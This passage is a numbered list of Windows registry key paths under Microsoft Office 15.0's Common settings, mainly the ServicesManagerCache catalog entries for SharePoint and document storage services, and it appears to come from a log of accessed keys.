  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
